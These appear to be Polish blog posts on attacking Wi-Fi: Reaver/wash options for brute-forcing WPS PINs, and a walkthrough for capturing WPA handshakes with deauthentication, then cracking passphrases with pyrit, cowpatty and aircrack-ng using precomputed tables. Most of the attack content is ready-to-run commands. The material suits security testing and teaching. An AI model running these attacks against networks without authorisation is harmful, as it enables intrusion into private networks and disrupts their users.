Opis

Reaver jest programem wykorzystującym metode  brute force do łamania  WPS (Wifi Protected Setup) , w celu „wyjęcia” hasła z punktu dostępowego, zabezpieczającego   transmisje  danych na drodze AP-klient.  Średni czas złamania 8-cyfrowego kodu PIN, oraz uzyskania hasła zawiera się w granicach od 4 do 10 godzin. Do reaver-a dołaczony jest program o nazwie „wash”, dzieki któremu mamy możliwość  sprawdzenia, które AP są podatne na atak WPS.

Opcje programu „Wash v1.4” 

Wymagane argumenty:

-i, –interface=<iface> Interfejs odpowiedzialny za przechwytywanie danych

-f, –file [FILE1 FILE2 FILE3 …] Czytaj pakiety z plików

Opcjonalne argumenty:

-c, –channel=<num> Kanał nasłuchu [auto]

-o, –out-file=<file> Zapisz dane do pliku

-n, –probes=<num> Maksymalna liczba prób do wysłania do każdego AP w trybie skanowania [15]
-D, –daemonize Demonizuj wash

-C, –ignore-fcs Ignoruj błędy sumy kontrolnej ramek

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-s, –scan Używaj trybu skan

-u, –survey Używaj trybu przeglądania  [domyślnie]

-h, –help Pokaz pomoc

Przykład zastosowania :

wash -i wlan18

Opcje programu „Reaver v1.4”

Wymagane argumenty:

-i, –interface=<wlan> Nazwa interfejsu w trybie nasłuchu

-b, –bssid=<mac> BSSID docelowego AP

Opcjonalne argumenty:

-m, –mac=<mac> MAC hosta

-e, –essid=<ssid> ESSID docelowego AP

-c, –channel=<channel> Ustaw 802.11 kanał dla interfejsu

-o, –out-file=<file> Wyślij log do pliku

-s, –session=<file> przywróć poprzednią sesje z pliku

-C, –exec=<command> Wykonaj podaną komendę z chwilą uzyskania PIN-u

-D, –daemonize „Demonizuj” reaver

-a, –auto Autodetekcja najlepszych opcji/ustawień dla docelowego AP

-f, –fixed Wyłącz „skakanie” po kanałach

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-v, –verbose Wyświetlaj ostrzeżenia (-vv dla większej ilości)

-q, –quiet Tylko krytyczne wiadomości

-h, –help Pokaż pomoc

Opcje zaawansowane:

-p, –pin=<wps pin> Użyj 4 lub 8 liczbowego PIN-u WPS

-d, –delay=<seconds> Ustaw opóźnienie pomiędzy próbami

-l, –lock-delay=<seconds> Ustaw czas oczekiwania jeśli AP blokuje próby odgadnięcia PIN-u [60]

-g, –max-attempts=<num> Wyjdź po określonej ilości prób PIN

-x, –fail-wait=<seconds> Ustaw czas, po którym następuje  uśpienie, po 10 nieoczekiwanych niepowodzeniach

-r, –recurring-delay=<x:y> Spij przez y sekund każdej x próby PIN

-t, –timeout=<seconds> Ustaw czas do zakończenia

-T, –m57-timeout=<seconds> Ustaw czas zakończenia okresu M5/M7 [0.20]

-A, –no-associate Nie asocjuj z AP (asocjacja musi być wykonana przez inna aplikacje)

-N, –no-nacks Nie wysyłaj NACK jeżeli otrzymałeś pakiet „out-of-order” nie działa

-S, –dh-small Używaj małych kluczy DH w celu poprawy prędkości ataku

-L, –ignore-locks Ignoruj stan zablokowania zgłaszany przez docelowy AP

-E, –eap-terminate Zamykaj każdą sesję WPS po otrzymaniu nieprawidłowego pakietu EAP

-n, –nack Docelowy AP zawsze wysyła NACK [Auto]

-w, –win7 Mimic a Windows 7 registrar [False]

Przykład zastosowania:
reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -v

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -vv -L -a

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317 -vv

Łamanie kodu PIN odbywa się dwuetapowo. W pierwszym etapie sprawdzane są wszystkie kombinacje pierwszych 4 cyfr. Po odgadnięciu pierwszej części  pinu sprawdzana jest jego druga część, lecz są to tylko numery pasujące do sumy kontrolnej. Czas odgadnięcia drugiej części PIN jest zazwyczaj znacznie krótszy niż pierwszej.

Kompatybilność sterowników/kart Wi-fi z programem „Reaver v1.4”

Poprawnie działające sterowniki.

Poniższe sterowniki zostały przetestowane, oraz zgłoszone jako poprawnie działające z programem reaver:

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

Częściowo działające sterowniki.

Poniższe sterowniki mogą nie działać prawidłowo z programem reaver, w zależności od  zastosowanej karty wi-fi:

  • ath5k
  • iwlan
  • rtl2800usb
  • b43

Nie działające sterowniki.

Poniższe sterowniki/karty zostały przetestowane, oraz zgłoszone jako niepoprawnie działające z programem reaver:

  • iwl4965
  • RT3070L
  • Netgear WG111v3

Uwagi

  • Aby „reaver” działał poprawnie wymaga sygnału nie słabszego niż ok. -84 dbm.
  • Poprawna praca „reaver-a” wymaga ustawienia karty w trybie nasłuchu (monitor mode)
  •  W praktyce występują AP, z których po odgadnięciu kodu PIN nie ma możliwości „wyjęcia” poprawnego hasła dostępu do sieci. Wykorzystując ten sam PIN reaver „wyjmuje” różne hasła będące długimi ciągami alfanumerycznymi.
  • Należy zwrócić uwagę, że oprogramowanie niektórych AP posiada limit ilości prób możliwych do wykonania w określonym czasie. Po przekroczeniu danego limitu następuje blokada WPS uniemożliwiając nam dalszą kontynuacje ataku.

 

 

 

Tagged with:
 

Kilka osób prosiło mnie już o krótki opis użycia i generowania tęczowych tablic. Ponieważ dziś spędziłem nad nimi kilka h, krótko to opiszę.

Na początek wymagania dla osób które chcą używać tęczowych tablic:

  1. Dowolny słownik w postaci .txt lub .lst
  2. Backtrack 5

Wymagania dla osób które chcą generować tęczowe tablice:

  1. dowolny słownik
  2. Backtrack.pl 5 R3 PREMIUM (najlepiej AMD lub CUDA)
  3. Karta graficzna z CUDA lub AMD Stream (jeżeli mamy dużo cierpliwości to nie jest konieczne)

Co to są „Tęczowe Tablice” (ang. Rainbow Tables) – jest to baza, w tym wypadku hash-y, służąca do łamania hasła. Tablice pozwalają zaoszczędzić dużą ilość mocy obliczeniowej przy sprawdzaniu hand-shake-ów sieci o tych samych ESSID-ach. Przeciętny procesor powinien być w stanie sprawdzić około 100tyś. pmk/s dobre nowoczesne maszyny nawet do 1-2mln. pmk/s. trzeba jednak pamiętać że nie ma sensu tworzyć tablic dla bardzo unikalnych ESSID-ów które mogą się nigdy nie powtórzyć.

Zaczynamy od złapania 4-way hand shake:

airmon-ng start wlan0

airodump-ng -w linksys --bssid 00:21:91:2C:E4:FB -c 11 mon0

Oczywiście podany BSSID to nasz AP którego ESSID to linksys, mon0 to karta w trybie monitor mode. Odpali nam się airodump i zacznie nasłuchiwać, możemy to tak zostawić, poczekać aż jakiś klient się podłączy co w 90% daje nam pewny hs lub jeżeli są kliencie próbować go rozłączyć za pomocą komendy:

aireplay-ng -0 1 -c 00:22:43:07:6D:63 -a 00:21:91:2C:E4:FB mon0

Gdzie 00:22:43:07:6D:63 to nasz klient. Nie należy przesadzać z ilością deauth-ów ponieważ może to spowodować że system zaniecha próby ponownego łączenia np. po 3 nieudanych próbach. Dzieje się tak często gdy system klient-a to Windows XP/Vista/7. Efektem komendy powinien być mały komunikat u góry okna:

CH 11 ][ Elapsed: 56 s ][ 2012-09-26 18:14 ][ WPA handshake: 00:21:91:2C:E4:FB

Po wyjściu z airodump CTRL+C w katalogu stworzy się plik z nazwą linksys i końcówką .cap, w tym pliku jest zapisany hand-shake i musimy go zatrzymać do późniejszej analizy. Aby złapać hs, musimy być w zasięgu AP oraz KLIENTA tej sieci, musimy zablokować nasłuch na kanale AP. Nie można używać anten mocno kierunkowych, jak grid czy parabola. Najlepiej na niedużych odległościach sprawdzają się anteny panelowe o średnim zysku i szerokim kącie pół-mocy. Ewentualnie możemy zastosować anteny omni o dużym kącie pół-mocy, zazwyczaj są to anteny o zysku do 6dBi. Przeciętna antena 9dBi ma kont pół-mocy na poziomie 10 stopi co jest stanowczo za mało. Gdy testujemy poziom zabezpieczeń w budynkach z wieloma piętrami, powinno się używać anten omni o większym zysku, czyli np. 9dBi ale wymusza to na nas poruszanie się miedzy kondygnacjami.

Jeżeli nie chcemy tworzyć tęczowych tablic już w tym momencie możemy przystąpić do „zgadywania” hasła za pomocą aircrack, pyrit-a lub cowpatty.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

sam pyrit:

pyrit -e linksys -i mega.txt -r linksys-01.cap attack_passthrough

samo cowpatty:

cowpatty -r  linksys-01.cap -f mega.txt -s linksys

lub

aircrack-ng -w mega.txt -e linksys linksys-01.cap

Najlepsze rozwiązanie to pyrit + cowpatty, ewentualnie sam pyrit, głównie ze względu na szybkość i użycie GPU.

Alternatywną metodą łamania powtarzających się ESSID-ów są tęczowe tablice, które jak wcześniej pisałem oszczędzają nam masę czasu i powalają NIE POSIADAĆ szybkiego GPU, ponieważ wilcza część pracy została już „odwalona” przy ich tworzeniu.

Tworzenie „Tęczowych tablic” – metod na ich tworzenie jest naprawdę masa, same tablice z hash-ami mogą występować w kilku różnych formatach np. format cowpatty lub airolib. Mogą też być magazynowane w bazie pyrit-a która znowu także może mieć format plikowy, baza w pliku sqlite lub mieścić się w prawdziwej bazie jak MySQL lub PostgeSQL. Na nasze potrzeby wystarczy baza plikowa w formacie pyrit-a, która na dodatek jest wybierana domyślnie i mieści się w katalogu .pyrit.

Metoda genpmk – metoda bardzo wolna, ponieważ nie używa wielu rdzeni ani GPU.

genpmk -f mega.txt -d linksys.cow -s linksys

mega.txt to słownik, jak wcześniej linksys.cow to tęczowa tablica, TYLKO i wyłącznie dla ESSID-a „linksys”

Metoda na pyrit-a – dużo szybsza używa tylko i wyłącznie bazy pyrit-a. Na początek importujemy słownik do bazy pyrit-a:

pyrit -i mega.txt import_passwords

Tworzymy SSID dla które ma zostać stworzona baza hash-ów:

pyrit -e linksys create_esssid

Generujemy hash-e dla wszystkich dodanych ESSID-ów:

pyrit batch

Od tego w bazie pyrit-a są gotowe hash-e dla ESSID-a linksys, których bez dodatkowych operacji możemy używać przez:

pyrit -e linksys -r linksys-01.cap attack_db

Jak widać nie musimy dopisywać -i mega.txt ponieważ słownik jest w bazie! Trzeba dodać że jest to jedna z najszybszych metod.

Metoda pyrit + cowpatty – metoda wymaga wykonania wszystkich poleceń jak przy metodzie pyrit-a z bazą danych, czyli:

pyrit -i mega.txt import_passwords

pyrit -e linksys create_esssid

pyrit batch

Następnie możemy przystąpić do generowanie tablic w formacie cowpatty, ale tym razem dużo szybciej niż za pomocą genpmk ponieważ pyrit używa GPU oraz każdego dostępnego rdzenia CPU.

pyrit -e linksys -o linksys.cow export_cowpatty

Tak jak poprzednio powstanie linksys.cow czyli Tęczowa tablica dla ESSID-a linksys. Możemy generować i podawać wiele ESSID-ów jednocześnie, dzięki temu będziemy mieli tablice dla każdego podanego ESSID-a.

Tak przygotowane tablice możemy bez problemy używać w cowpatty:

cowpatty -d linksys.cow -r linksys-01.cap -s linksys

tak samo w pyrit:

pyrit -i linksys.cow -e linksys -r linksys-01.cap attack_cowpatty

Trzeba też dodać że pyrit jest dużo bardziej rozbudowany i przyjmuje spakowane tablice za pomocą GunZip-a który znacznie redukuje ich rozmiar. Aby spakować tablice, należy wykonać:

gzip -9v linksys.cow

Powstanie nam plik linksys.cow.gz który bez problemu podamy zraz za -i . Cowpatty nie obsługuje kompresowanych tablice .gz.

Jeżeli mamy takie widzimisię możemy używać pyrit-a z cowpatty a wtedy już mamy absolutną dowolność formatów tablic, słowników, baz.

Najlepsze wyjście – mimo mnogości możliwości najlepsza metoda sprawdzania, powtarzających się ESSID-ów to moetoda z użyciem bazy danych pyrit-a, ewentualnie razem z cowpatty.

 

Pyrit – to bardzo dobry program, niestety jego wczesna faza rozwoju powoduje że lubi się wywalić, czasem dobra składnia raz powoduje poprawne działanie raz go wywraca, ja sprawdziłem to przynajmniej na kilku maszynach o różnych architekturach. Wersja PREMIUM zawiera możliwie najnowszą wersję pyrit-a pobraną z svn.

Tłumaczenie parametrów pyrit-a:

-b BSSID Access Point-a

-e ESSID Access Point-a czyli nazwa sieci np. linksys

-i plik wejścia, może to być np. słownik lub tęczowa tablica, obsługiwane są słowniki .gz (po kompresji GunZip-em)

-o plik wyjścia, np. do tworzenia tęczowych tablic, dodanie na końcu .gz powoduje że tablica zostanie skompresowana w locie.

-r plik .cap (pcap format) np. z airodump-a lub wireshark można też podać urządzenie jak wlan0

-u adres URL miejsca/sposobu przechowywania danych, może to być np. plik file:///baza, baza danych sqlite:///baza.db serwer tworzony przez pyrit-a relay http://192.168.1.12

–all-handshakes powoduje sprawdzanie handshaków w pliku .cap

Komendy:

  • analyze – analizuje plik .cap w poszukiwaniu hs

pyrit -r linksys.cap analyze

  • attack_batch – sprawdza wszystkie hs, zawarte w pliku .cap

pyrit -r test.pcap -e MojaSiec -b 00:de:ad:c0:de:00 -o HasloMojejSieci.txt attack_batch

  • attack_cowpatty – sprawdzanie hasła przy użyciu tablic cowpatty

pyrit -r mojasiec.cap -e MojaSiec -i rainbow.cow.gz -o - attack_cowpatty

  • attack_db – sprawdza hasła za pomocą tablic z bazy pyrit-a

pyrit -r mojasiec.cap -e mojasiec attack_db

  • attack_passthrough – sprawdza hasło przy pomocy słownika podanego za pomocą -i

pyrit -r mojasiec.cap -e mojasiec -i slownik.txt attack_passthrough

  • batch – generuje tzw. pay kluczy głównych na podstawie słownika wcześniej zaimportowanego i zapisuje jej z bazie pyrit-a

pyrit batch

pyrit -e mojasiec batch

  • benchmark – testuje wydajność pyrit-a
  • check_db – sprawdza poprawność bazy danych pyrit-a
  • create_essid – dodaje do bazy nowy ESSID który po użyciu komendy batch zostanie przetworzony, opcja przyjmuje wiele ESSID-ów na raz.
  • delete_essid – kasuje ESSID z bazy
  • pyrit -e mojasiec delete_essid
  • eval – pokazuje dodaje ESSID-y oraz ilość przygotowanych dla nich par kluczy gł.
  • export_passwords – eksportuje słownik dodany wcześniej do pliku, można podać .gz

pyrit -o slowni.txt export_passwords

  • export_cowpaty – eksportuje wszystkie pary kluczy gł. do pliku w formacie cowpatty

pyrit -e mojasiec -o mojasiec.cow export_cowpatty

  • export_hashdb – export do pliku/bazy w formacie airolib-ng

pyrit -o mojasiec.db -e mojasiec export_hashdb

  • import_passwords – importuje hasła z słownika do bazy pyrit-a

pyrit -i wordlist.txt import_passwords

  • import_unique_password – składnia sugeruje że hasła powinny być importowane bez dubli, ale według man, tak się nie dzieje. (nie polecam używać)
  • list_cores – pokazuje listę rdzeni procesora i sprzętowych przyspieszaczy jak np. GPU
  • list_essids – pokazuje listę ESSID-ów
  • passthrough – polecenie sprawdza hasła zawarte w słowniku, generuje pary kluczy gł. i wysyła je go -o , polecenie można połączyć z cowpatty przez stdio tak aby cowpatty analizowało generowane klucze w locie. Polecenie nie zapisuje kluczy w bazie pyrit-a.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

  • relay – bardzo ciekawa komenda, pozwala przetwarzać hasła na klucze przez sieć, jest to bardzo przydatne gdy nie posiadamy w danej maszynie silnego GPU

Serwer, tam gdzie nie mamy silnego GPU:

pyrit -u sqlite:///root/baza.db relay

Klient, tu posiadamy silny GPU:

pyrit -u http://192.168.1.2:17934 batch

  •  selftest – sprawdza działanie mechanizmu przetwarzania pyrita
  • serve – kolejna, rewelacyjna opcja pyrita, serwer mocy obliczeniowej. Powoduje że na porcie 17934 otwiera się furtka do mocy obliczeniowej maszyny, tak że kliencie mogą się łączyć i przetwarzać za jej pomocą.

Serwer mus mieć wpis w .pyrit/config known_clients a następnie odpalone:

pyrit serve

Klient, musi mieć wpis w .pyrit/config rpc_server i odpalić lokalnie dowolną komendę:

pyrit -r mojasiec.cap.gz -e mojasiec -i slownik.txt attack_passthrouth

  • strip, stripLive – służą do wyjmowania z plików .cap samego handshake

pyrit -r "duzyplik.cap" -e MyNetwork -o tylko_hs_mojejsieci.cap.gz strip

  • verify – sprawdza 10% wygenerowanych wcześniej kluczy przez ich ponowne generowanie

Wydajność testowania hasła na tęczowych tablicach:

  • AMD Phenom II 4×3.6GHz (użyty 1 rdzeń) cowpatty ~280,000 pmk/s
  • AMD Phenom II 4×3.6GHz (użyte 4 rdzenie) pyrit ~1mln. pmk/s
  • AMD GPU 7870 GDDR5 pyrit ~5mln. pmk/s (wszystkie pliki na ramdisk-u)
  • Intel i3 2x2Ghz (użyty 1 rdzeń) cowpatty ~120,000 pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz, 1 rdzeń) cowpatty ~300,000pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz) pyrit ~1.1mln. pmk/s
  • Intel i5 + AMD GPU 5470M ~600,000 pmk/s
  • AMD A4 (2Ghz +5470M) + 7670M ~1.4mln. pmk/s
  • Intel CPU P4 Mobile cowpatty ~80,000 pmk/s

Materiały:
http://code.google.com/p/pyrit/w/list

http://wirelessdefence.org/Contents/coWPAttyMain.htm

Adnotacja: Wszystkie informacje mają służyć celą edukacyjnym oraz testowaniu bezpieczeństwa infrastruktury sieci firmowych. Nie namawiam do łamania prawa! Prawo łamią ludzie, nie programy.

Update: dla osób które nie posiadają szybkiego GPU lub nie mają cierpliwości czekać na ich generowanie postanowiłem wrzucić kilka gotowych tablic dla popularnych ESSID-ów. Wszystkie tęczowe tablice zrobione na bazie naszego polskiego słownika są dostępne tutaj.

Tagged with:
 

Portal Bezpieczna Sieć - Forum komputerowe, Informatyka śledcza, bezpieczeństwo, backtrack, kali - Kali Linux Polska Edycja - Polska Edycja Backtrack - Poradnik dla gracza - Seriws Laptopów Katowice - Sklep Komputerowy Katowice - Parking BETA przy lotnisku Pyrzowice - miejsce Run w sieci - eMono-cykl, SegWay, AirWheel, SoloWheel

stat4u